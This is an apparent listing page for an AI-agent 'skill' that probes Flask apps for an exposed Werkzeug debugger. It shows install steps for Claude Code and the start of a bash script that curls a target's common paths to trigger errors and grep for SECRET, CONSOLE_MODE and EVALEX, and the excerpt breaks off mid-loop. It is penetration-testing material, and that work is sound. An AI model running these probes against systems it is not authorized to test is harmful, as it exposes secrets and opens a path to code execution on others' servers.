flask-werkzeug-attack
Agent skill fromuphiago/recon-skills
Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.
How to install flask-werkzeug-attack
install flask-werkzeug-attack
# install the recon-skills pack with the skills CLI
npx skills add uphiago/recon-skills# or add only this skill to Claude Code: copy the folder
recon/flask-werkzeug-attack/
# into
~/.claude/skills/flask-werkzeug-attack/ (all projects)
.claude/skills/flask-werkzeug-attack/ (one project)
1# Flask/Werkzeug Debugger Exploitation23Flask applications with `debug=True` enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).45## When to Use67- Port scan reveals an unknown HTTP service on a non-standard port (8080, 8081, 8084, 5000, 8000, etc.)8- An API endpoint returns HTTP 500 with a Flask/Werkzeug error page9- A `?__debugger__=yes` parameter appears in URL resources (CSS, JS, PNG)10- The error page contains `var CONSOLE_MODE`, `var EVALEX`, or `SECRET=` in the HTML1112## Prerequisites1314- `terminal` with curl15- A Flask API server with `debug=True` in production (misconfiguration)16- An endpoint that triggers HTTP 500 (unhandled exception)1718## How to Run1920```bash21# Check if Werkzeug debugger is active — trigger an error22export TARGET=target.com23export PORT=5000 # set to the observed Werkzeug port2425curl --max-time 30 --connect-timeout 10 -sk "https://${TARGET}:${PORT}/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -52627# Try to trigger error on common paths28for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do29 result=$(curl --max-time 30 --connect-timeout 10 -sk "https://${TARGET}:${PORT}$path" 2>/dev/null)30 if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then31 echo "TRIGGERED: $path"32…
Excerpt shown under the repository's MIT license.
